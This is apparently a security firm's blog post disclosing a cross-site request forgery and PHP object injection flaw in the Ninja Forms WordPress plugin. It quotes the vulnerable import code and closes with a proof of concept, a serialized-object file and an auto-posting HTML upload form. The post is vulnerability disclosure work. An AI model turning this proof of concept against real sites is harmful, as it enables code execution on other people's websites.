One way we help to improve the security of WordPress plugins, not just for our customers of our service, but for everyone using them, is our proactive monitoring of changes made to plugins in the Plugin Directory to try to catch serious vulnerabilities. Late last year we expanded on that for our customers, by running plugins used by our customers, even when code in them is not updated, through the same system on a weekly basis. We just made a significant improvement to the automated portion of that monitoring. Through that, we caught a less serious variant of one of those vulnerabilities, a cross-site request forgery (CSRF)/PHP object injection vulnerability in Ninja Forms. Which, besides being used by at least one of our customers, is used on 1+ million websites according to wordpress.org’s stats.

That Ninja Forms has yet another vulnerability isn’t surprising considering the developer’s security track record, which includes disclosing a fairly serious unfixed vulnerability last year (doing that alongside Wordfence) and still not having addressed an incorrect security fix, which we notified them about in January.

The possibility of this vulnerability is also flagged by our Plugin Security Checker, so you can check plugins you use to see if they might have similar issues with that tool.

CSRF Protection Missing

The plugin handles importing what it refers to as favorite fields through the function import_fields_listener(), which is located in the file /includes/Admin/Menus/ImportExport.php. That function is run whenever WordPress loads, as it is registered during init:

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add_action( 'init', array( $this, 'import_fields_listener' ), 0 );

The first code in the function normally restricts access to the rest of the code to those with the manage_options capability, which normally only Administrators have:

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public function import_fields_listener()
{
	if( ! current_user_can( apply_filters( 'ninja_forms_admin_import_fields_capabilities', 'manage_options' ) ) ) return;

What is lacking after that is a nonce check to prevent cross-site request forgery (CSRF), which is when an attacker causes someone else to take an action without intending it:

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	if( ! isset( $_FILES[ 'nf_import_fields' ] ) || ! $_FILES[ 'nf_import_fields' ] ) return;
 
	$this->upload_error_check( $_FILES[ 'nf_import_fields' ] );
 
	$import = file_get_contents( $_FILES[ 'nf_import_fields' ][ 'tmp_name' ] );
 
	$fields = unserialize( $import );
 
	foreach( $fields as $settings ){
		Ninja_Forms()->form()->import_field( $settings );
	}
}

So it would be possible for an attacker to cause a logged in Administrator to have the import functionality run without them intending it.

In addition to that allowing favorite fields to be imported, it  is also possible for PHP object injection, which allows other code on the website to be run, to occur there as the contents of the import file are passed through the unserialize() function.

WordPress Causes Full Disclosure

As a protest of the moderators of the WordPress Support Forum’s continued inappropriate behavior we changed from reasonably disclosing to full disclosing vulnerabilities for plugins in the WordPress Plugin Directory in protest, until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. (For plugins that are also in the ClassicPress Plugin Directory, we will follow our reasonable disclosure policy.)

You can notify the developer of this issue on the forum as well.

Hopefully, the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that, but considering that they believe that having plugins, which have millions installs, remain in the Plugin Directory despite them knowing they are vulnerable is “appropriate action”, something is very amiss with them (which is even more reason the moderation needs to be cleaned up).

If the moderation is cleaned up, it would also allow the possibility of being able to use the forum to start discussing fixing the problems caused by the very problematic handling of security by the team running the Plugin Directory, discussions which they have for years shut down through their control of the Support Forum.

Update: To clear up the confusion where developers claim we hadn’t tried to notify them through the Support Forum (while at the same time moderators are complaining about us doing just that), here is the message we left for this vulnerability:

Is It Fixed?

If you are reading this post down the road the best way to find out if this vulnerability or other WordPress plugin vulnerabilities in plugins you use have been fixed is to sign up for our service, since what we uniquely do when it comes to that type of data is to test to see if vulnerabilities have really been fixed. Relying on the developer’s information can lead you astray, as we often find that they believe they have fixed vulnerabilities, but have failed to do that.

Proof of Concept

With our plugin for testing for PHP object injection installed and activated, the following proof of concept will cause the message “PHP object injection has occurred.” be shown, when logged in to WordPress as an Administrator.

Create a file with this content:

O:20:"php_object_injection":0:{}

Upload it with this. Replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/" enctype="multipart/form-data" method="POST">
<input type="file" name="nf_import_fields" />
<input type="submit" name="img" value="Submit" />
</form>
</body>

Concerned About The Security of the Plugins You Use?

Plugin Security Scorecard Grade for Ninja Forms

See issues causing the plugin to get less than A+ grade